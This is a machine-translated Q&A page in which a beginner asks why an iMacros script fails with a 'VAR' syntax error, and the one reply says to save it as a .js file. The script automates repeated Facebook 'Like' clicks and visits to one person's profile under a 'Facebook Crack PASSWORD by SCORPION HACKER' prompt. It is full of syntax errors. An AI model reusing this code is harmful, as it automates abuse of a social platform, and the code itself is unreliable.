启动脚本时出错,SyntaxError:unknown命令:VAR,line:1(错误代码:-910)

时间:2014-01-01 00:56:34

标签: imacros

我是Imacros的新手,我知道如何使用它,但我是新编码所以这是我的第一个脚本。 我在启动时遇到了这个错误。

SyntaxError: unknown command: VAR, line: 1 (Error code: -910)

Heere是代码。

var macroStart;
macroStart ="CODE:";
macroStart +="SET !ERRORIGNORE YES" + "\n";
macroStart +="SET !TIMEOUT_TAG 1" + ="\n";
macroStart +="SET !TIMEOUT_STEP 1" + "\n";
macroStart +="SET !TIMEOUT_PAGE 8" + "\n";
macroStart +="SET !REPLAYSPEED FAST" + "\n";
macroStart +="SET !TIMEOUT_MACRO 8" + "\n";
macroStart +="TAB T=1" + "\n";
macroStart +="WAIT SECONDS=1" + "\n";
macroStart +="TAG POST=1 TYPE=A ATTR=TXT:LIKE" + "\n";
macroStart +="TAB T=2" + "\n";
macroStart += " FRAME F=0" + "\n";
macroStart += "TAG POST=1 TYPE=LABEL ATTR=ID;timelineHeadlineLikeButton" + "\n";
macroStart += "TAB T=2" + "\n";
macroStart += "WAIT SECONDS=1" + "\n";
macroStart += "TAB T=1" 
macroStart += "TAB CLOSEALLOTHERS" + "n"\
macroStart +="WAIT SECONDS=1" + "\n";
macroStart += "TAG POS=1 TYPE=A ATTR=TXT:Like" + "\n";
macroStart += "TAB T-2" + "\n";
macroStart += "FRAME F=0" + "\n";
macroStart += "TAG POST=1 TYPE=LABEL ATTR=ID;timelineHeadlineLikeButton" + "\n";
macroStart += "TAB T=1" + "\n";
macroStart += "TAB CLOSEALLOTHERS" + "n"\
macroStart += "WAIT SECONDS=1" + "n"\


macroStart += "VERSION BUILD=8300326 RECORDER=FX" + "\n"
macroStart +="TAB T=1" + "/n";
macroStart +="URL GOTO=https://www.facebook.com/mohamed.nasser.37017794" + "\n";
macroStart +="WAIT SECONDS=1" + "\n";
macroStart +="TAG POS=1 TYPE=INPUT:SUBMIT ATTR=VALUE:Hacker" + "\n";
macroStart +="WAIT SECONDS=1" + "\n";
macroStart +="TAB T=1" + "/n";


var 1=0;
var n=prompt ("Facebook Crack PASSWORD by SCORPION HACKER.",5000)

for (i=1; i <= n; i++)
(
   iimPlay("CODE:"+"URL GOTO=https://www.facebook.com/")
   iimPlay(macroStart,25)
   iimDisplay("Current loop is: "+i")
   iimDisplay("New Page")
)

请帮助我,我试图启动它。

1 个答案:

答案 0 :(得分:1)

也许你将JS代码粘贴在.iim文件中。确保文件扩展名为.js